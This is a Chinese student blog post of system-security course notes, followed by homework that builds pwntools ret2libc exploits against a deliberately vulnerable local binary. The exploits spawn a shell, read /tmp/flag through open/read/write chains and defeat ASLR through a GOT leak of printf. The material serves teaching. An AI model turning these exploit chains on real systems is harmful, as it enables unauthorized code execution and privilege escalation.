System Security 03| Notes && Homework - ret2libc
作者:互联网
System Security 03| Notes && Homework - ret2libc
- Notes | 控制流劫持攻击
- Pre
- Test
- Homework 00 - Ret2libc without ASLR
- Homework 01 - Ret2libc with ASLR
- Reference
Notes | 控制流劫持攻击
攻击目标: 通过劫持应用程序的控制流,在目标机器上执行攻击代码,从而获取权限
三种攻击实例:
- 缓冲区溢出攻击 :Morris worm
- 整数溢出攻击
- 格式化字符串漏洞
攻击方法
缓冲区溢出攻击
- 栈生长结构:
-
stack exploit example:
下段代码中:
void func(char *str) {
char buf[128];
strcpy(buf, str);
do-something(buf);
}
函数被调用时堆栈中的数据:
当字符串*str大小超过buf的128字节后,自然会向下覆盖。故而攻击者即可将实现构造好的要跳转的地址通过向buf中输入字符串进行缓冲区溢出攻击。
- 常见不安全的c库函数
- 缓冲区溢出利用
- 控制劫持方法
整数溢出攻击
比较明显,直接看例子吧
格式化字符串漏洞
need to do …
防御方法
1. Fix bugs:
2. 允许溢出,防止shellcode执行: NX位
3. 运行时检查代码: 添加运行时检查代码,检测溢出利用,当检测到进程被攻击者用溢出漏洞攻击时挂起该进程。
4.
将内存标记为不可执行(W^X)
Non-executable Stack
-
不可执行堆栈(NX),一种虚拟内存保护机制,通过限制特定内存和实现NX位来阻止shell代码注入在堆栈上执行。
-
CPU NX位:“No eXecute bit”,禁止执行位
-
NX技术的系统把内存中的区域分类为只供存储处理器指令集与只供存储数据使用的两种。任何标记了NX位的区块代表仅供存储数据使用而不是存储处理器的指令集,处理器将不会将此处的数据作为代码执行,以此防止大多数缓冲区溢出攻击
StackGuard
原理
StackGuard is a compiler extension that enhances the executable code produced by the compiler so that it detects and thwarts buffer-overflow attacks against the stack. The effect is transparent to the normal function of programs. The only way to notice that a program is StackGuard-enhanced is to cause it to execute C statements with undefined behavior: StackGuard-enhanced programs define the behavior of writing to the return address of a function while it is still active.
缓冲区溢出攻击的核心点在于,由于程序没有检测边界,而攻击者利用这一点覆盖函数的返回地址。如果能检测程序是否被修改,即可作出一定的防御,例如检测到被修改时就退出。
StackGuard即向返回地址后面插入一段特殊值(canary),在函数返回之前,首先检查canary是否被修改, 若被修改,则说明发生了缓冲区溢出攻击。更安全的方式是,插入这段特殊值,是随机值:
但如果攻击者不修改这段值,直接修改返回地址,即可绕过?但攻击者无法知道这段随机值的长度,另外由于随机化,攻击者也无法轻易复制这一段随机值。
应用:
StackShield
原理:
- 函数调用前,将返回地址 RET 和 ebp 复制到“安全”的位置
- 函数返回前,恢复保存的 RET 和 ebp
- 具体来说,创建一个特别的堆栈用来储存函数返回地址的一份拷贝。在受保护的函数的开头和结尾分别增加一段代码:
开头处的代码用来将函数返回地址拷贝到一个特殊的表中;结尾处的代码用来将返回地址从表中拷贝回堆栈。
因此函数执行流程不会改变,将总是正确返回到主调函数中。已经增加了一些新的保护措施,当调用一个地址在非文本段内的函数指针时,将终止函数的执行。
实现: GCC的扩展
Separate Stack
ASLR (Address Space Layout Randomization)
关于ASLR、PIE、PIC, 先附上一个讲得超级清晰的链接
绕过
-
Brute force
-
内存泄漏
GOT/PLT -
GOT:Global Offset Table,全局偏移表。链接器为外部符号填充的实际偏移表。
-
PLT:Procedure Linkage Table,程序链接表。
两个功能:1)在 .got.plt 节中拿到地址并跳转;
2)当 .got.plt 没有所需地址的时,触发链接器找到所需地址
CFI (Control Flow Integrity)
- code-pointer separation (CPS)
- code-pointer integrity (CPI)
- stack canaries
- shadow stacks
- vtable pointer verification
Ret2libc
在此之前,首先梳理一下常见的 ret- 攻击形式:
- ret2text:控制程序执行程序本身的代码,比如程序中已经有了system函数,即可通过执行system("/bin/sh") 或system(“sh”)实现
- ret2shellcode:先写入一段能够获取shell的汇编代码,然后让程序跳到rsp指向shellcode的开头,来执行该段汇编代码。但实现该攻击需要shellcode所在的区域有课执行权限
- ret2syscall:调用Linux的系统中断int 0x80实现
- ret2libc:控制函数执行libc中的函数,返回一个函数的具体位置。因为是通过劫持控制流使控制流指向libc中的系统函数,因此不需要插入shellcode代码
ROP (The Return-oriented programming)
步骤:
- 反汇编代码
- 确定有用的代码序列作为gadgets
- 把gadgets组装成需要的shellcode,注意shellcode的等价实现
一些问题:
Pre
- kali linux version: 5.10.0-kali7-amd64
- python version: Python 3.8.7
- gdb version: GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
- gcc version: gcc version 10.2.1 20210110 (Debian 10.2.1-6)
Test
Task:
为了获取系统权限,需要调用system函数并进入“/bin/sh"获取权限,在栈中放入system所在的地址,及字符串 ”/bin/sh“ 的地址。在此之前通过调用 exit 使stack正常退出,避免因访问到错误的地址进而报错并异常结束。
Pre
关闭 ASLR,查看当前状态为0:(1为默认,2为开启)
Process
- 编译 stack.c,生成可执行文件stack
参数说明:
- -m32: 在64位系统下编译32位程序
- -fno-stack-protector:关闭栈保护
- -no-pie:关闭PIE
- -g: 允许使用 gdb 调试,加入调试信息
- -o: 预处理、汇编、编译并链接形成可执行文件,-o选项用来指定输出文件的文件名。
-
将stack提权,提升为内核权限
-
gdb装载stack,并确定关键函数的地址。由于关闭了ASLR,故而每次装载的地址都不会发生变化。
需要确认的地址:system、exit、‘/bin/sh’。其中system与exit的地址可在gdb中通过 “p” 命令查看:
对于字符串 “/bin/sh”,首先通过 ”info proc mappings“ 查看所加载动态库的地址,如下图,”/usr/lib32/libc-2.31.so" 的首地址“0xf7dcb000”(此处记录一下,后续通过与偏移地址相加可进行验证)
”/usr/lib32/libc-2.31.so" 的首地址“0xf7dcb000” 在上节已获取,偏移地址0x00037950,相加即可得到真实地址0xf7e02950,正确。
ROPgadaget通过在动态链接库中查找字符串"/bin/sh"获取其地址:
cyclic生成一个长为200的随机字符串:
run stack之后,利用上述字符串进行溢出攻击,确定溢出点 0x6161616c :
cyclic -l指令确定能覆盖到返回地址的溢出长度,为44。因此填充字符padding的长度为44:
- 所构建脚本如下:
payload = b’a’ * 44 + p32(system_addr)+ p32(exit_addr)+ p32(binsh_addr),使用p32将地址扩展为32位,保证对齐。
from pwn import *
#context.log_level = 'debug'
debug = 1
if debug:
sh = process('./stack')
system_addr = 0xf7e10000 #=0xf7dcb000+0x00045000
exit_addr = 0xf7e02950 #=0xf7dcb000+0x00037950
binsh_addr = 0xf7f5733c #=0xf7dcb000+0x0018c33c
payload = b'a' * 44 + p32(system_addr)+ p32(exit_addr)+ p32(binsh_addr)
def pwn(sh, payload):
sh.sendline(payload)
sh.interactive()
pwn(sh, payload)
- 执行结果: 成功获取权限
Some problems
需注意,python3 在字符串前加入“b”,将字符串转换为byte方式。
Homework 00 - Ret2libc without ASLR
Task:
在上个任务的基础上,实现一个ret2libc的多函数调用。基本原理相同,只需构建多个函数调用时的栈即可。
Pre
ASLR仍处于关闭状态:
另外,被攻击的stack.c在上一部分中已编译生成,不再重新编译。
Process
- system、exit、“/bin/sh”的地址已确定,此处还需要read、write、open的地址:
如下:
-
确定已有的 2次pop+ret 指令、3次pop+ret 指令 在程序中的地址,用于在栈中为函数的参数出栈:
可得到: pop2_addr = 0x0804935a
pop3_addr = 0x08049359 -
获取一个临时缓冲区,通过在gdb中不断尝试查找空闲地址获得,最终找到如下地址,内容为空,可利用
-
获取 buf 地址:用于将其加上偏移 0x70 得到“/tmp/flag”地址
-
确定payload:
payload2 = b'a'*44 + p32(open_addr) + p32(pop2_addr) + p32(buf_addr) + p32(0)+ p32(read_addr) + p32(pop3_addr) + p32(3) + p32(tmp_addr) + p32(100)+ p32(write_addr) + p32(pop3_addr) + p32(1) + p32(tmp_addr) + p32(100) + p32(system_addr) + p32(exit_addr) + p32(binsh_addr)+file_str+b'\x00'
此处关于“/tmp/flag”字符串,由于该字符串本身不在系统的动态链接库中存在,因此需要手动将其放入某个空闲地址中。最开始想要直接将其放入stack.c 的数组buf中,但会在函数调用时被覆盖掉…?..,因此将其放在程序最末尾,当利用open函数进行打开该文件时,不会被覆盖,但经过试验在第二次函数调用(即调用read时)即会被覆盖,但此时“/tmp/flag”字符串已不需要使用,故而被覆盖掉也没有关系。对于“/tmp/flag”的地址,使用在payload中其相对于payload开始(即buf的地址)的偏移,加在buf地址上即可获得。
结构如下:
from pwn import *
#context.log_level = 'debug'
debug = 1
if debug:
sh = process('./stack')
system_addr = 0xf7e10000 #=0xf7dcb000+0x00045000
exit_addr = 0xf7e02950 #=0xf7dcb000+0x00037950
binsh_addr = 0xf7f5733c #=0xf7dcb000+0x0018c33c
open_addr = 0xf7ebcab0
read_addr = 0xf7ebcf30
write_addr= 0xf7ebcfd0
pop2_addr = 0x0804935a
pop3_addr = 0x08049359
file_str = b'/tmp/flag'
tmp_addr = 0x0804c100
buf_addr= 0xffffd120+0x70
#payload = b'a' * 44 + p32(system_addr)+ p32(exit_addr)+ p32(binsh_addr)
payload2 = b'a'*44 + p32(open_addr) + p32(pop2_addr) + p32(buf_addr) + p32(0)+ p32(read_addr) + p32(pop3_addr) + p32(3) + p32(tmp_addr) + p32(100)+ p32(write_addr) + p32(pop3_addr) + p32(1) + p32(tmp_addr) + p32(100) + p32(system_addr) + p32(exit_addr) + p32(binsh_addr)+file_str+b'\x00'
def pwn(sh, payload2):
sh.sendline(payload2)
sh.interactive()
pwn(sh, payload2)
- 执行攻击:成功读取flag中的文件内容,并获取权限
Some problems
关于“tmp/flag”字符串的问题:
此处关于“/tmp/flag”字符串,由于该字符串本身不在系统的动态链接库中存在,因此需要手动将其放入某个空闲地址中。最开始想要直接将其放入stack.c 的数组buf中,但会在函数调用时被覆盖掉…?..,因此将其放在程序最末尾,当利用open函数进行打开该文件时,不会被覆盖,但经过试验在第二次函数调用(即调用read时)即会被覆盖,但此时“/tmp/flag”字符串已不需要使用,故而被覆盖掉也没有关系。对于“/tmp/flag”的地址,使用在payload中其相对于payload开始(即buf的地址)的偏移,加在buf地址上即可获得。
另外,也可以使用read函数进行读入。
Homework 01 - Ret2libc with ASLR
Pre
关闭ASLR:
多次加载stack,每次装载的地址发生变化:
Process
-
确定main的地址:
-
确定pop-ret、2次pop-ret、3次pop-ret的指令地址:
pop_ret_addr = 0x0804935b
pop2_addr = 0x0804935a
pop3_addr = 0x08049359
-
确定临时缓冲区 tmp_addr 地址:0x804c100
-
试图将“/tmp/flag"字符串放入buf中,但实际上发现每次装载buf的地址发生了变化,因此通过read的方式放入"/tmp/flag" :
-
构建payload:
首先,第一个payload用于通过PLT中获取的 printf 地址跳转到 GOT,执行 printf,此时GOT表中的printf已被更新,将GOT中printf的真实地址输出,达到地址泄漏的目的。
之后,再利用第二个payload进行攻击,具体原理同上节,不同之处在于通过read的方式放入"/tmp/flag"。
from pwn import *
import elf
import time
#context.log_level = 'debug'
debug = 1
if debug:
sh = process('./stack')
e = ELF('stack')
libc = ELF('/usr/lib32/libc-2.31.so')
printf_plt = e.plt['printf']
printf_got = e.got['printf']
printf_offset = libc.symbols['printf']
#buf_sym=e.symbols['buf']
#print('buf',buf_sym)
main_addr = 0x8049277
pop_ret_addr = 0x0804935b
pop2_addr = 0x0804935a
pop3_addr = 0x08049359
tmp_addr = 0x0804c100
#buf_addr= 0xffc9b2d0+0x70
payload0 = b'a'*44 + p32(printf_plt) + p32(pop_ret_addr) + p32(printf_got) + p32(main_addr)
global libc_addr
sh.sendline(payload0)
sh.recvuntil(b"Invalid Password!\n")
adrputs=sh.recvn(4)
libc_addr=int.from_bytes(adrputs,"little")-printf_offset
system_addr=libc_addr+libc.symbols["system"]#找出system的真实地址
binsh_addr=libc_addr+libc.search(b"/bin/sh").__next__() #找出/bin/sh的真实地址,函数用symbols修饰,字符串用search
exit_addr = libc_addr + libc.symbols['exit']
open_addr = libc_addr + libc.symbols['open']
read_addr = libc_addr + libc.symbols['read']
write_addr= libc_addr + libc.symbols['write']
file_str = b'/tmp/flag'
payload2 = b'a'*44 + p32(read_addr)+p32(pop3_addr)+p32(0)+p32(tmp_addr)+p32(9)+p32(open_addr) + p32(pop2_addr) + p32(tmp_addr) + p32(0)+ p32(read_addr) + p32(pop3_addr) + p32(3) + p32(tmp_addr) + p32(100)+ p32(write_addr) + p32(pop3_addr) + p32(1) + p32(tmp_addr) + p32(100) + p32(system_addr) + p32(exit_addr) + p32(binsh_addr)
def pwn(sh,payload2):
sh.sendline(payload2)
sleep(3)
sh.sendline(file_str)
sh.interactive()
pwn(sh,payload2)
- 执行成功
Reference
[1] https://www.pianshen.com/article/2931656725/
[2] https://blog.csdn.net/qq_39249347/article/details/107173523
[3] https://www.freebuf.com/news/182894.html
[4] https://blog.csdn.net/qq_44108455/article/details/105129206
[5] https://blog.csdn.net/qq_44108455/article/details/105367144
标签:tmp,03,addr,Notes,System,地址,sh,p32,buf 来源: https://blog.csdn.net/weixin_43894553/article/details/116191023